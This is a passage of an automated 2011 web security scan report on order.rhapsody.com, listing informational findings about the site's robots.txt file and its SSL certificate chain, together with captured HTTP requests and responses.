Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response

HTTP/1.1 302 Moved Temporarily
Date: Mon, 05 Sep 2011 19:04:57 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Location: https://order.rhapsody.com/rhapsody/premierplus/monthly/30d?_flowExecutionKey=_c95BF95B3-212A-CF02-BDA5-0DCC95ECADAD_k15BAA438-3985-CCA5-51E8-082075A89715
Content-Language: en-US
Content-Length: 0
Set-Cookie: RSOrderPath=EP%3Drpp-14; Expires=Fri, 04-Nov-2011 19:04:57 GMT; Path=/
Set-Cookie: RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; Expires=Fri, 04-Nov-2011 19:04:57 GMT; Path=/
Set-Cookie: RSOrderPath=EP%3Drpp-14%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; Expires=Fri, 04-Nov-2011 19:04:57 GMT; Path=/
nnCoection: close
Content-Type: text/plain; charset=UTF-8


9. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: order.rhapsody.com

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:04:58 GMT
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"25-1314870772000"
Last-Modified: Thu, 01 Sep 2011 09:52:52 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 25
Connection: close

User-agent: *
Disallow: /

10. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  *.rhapsody.com
Issued by:  Go Daddy Secure Certification Authority
Valid from:  Wed Jan 26 16:01:23 GMT-06:00 2011
Valid to:  Sun Jan 26 16:01:23 GMT-06:00 2014

Certificate chain #1

Issued to:  Go Daddy Secure Certification Authority
Issued by:  Go Daddy Class 2 Certification Authority
Valid from:  Wed Nov 15 19:54:37 GMT-06:00 2006
Valid to:  Sun Nov 15 19:54:37 GMT-06:00 2026

Certificate chain #2

Issued to:  Go Daddy Class 2 Certification Authority
Issued by:  Go Daddy Class 2 Certification Authority
Valid from:  Tue Jun 29 11:06:20 GMT-06:00 2004
Valid to:  Thu Jun 29 11:06:20 GMT-06:00 2034

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Mon Sep 05 13:17:24 GMT-06:00 2011.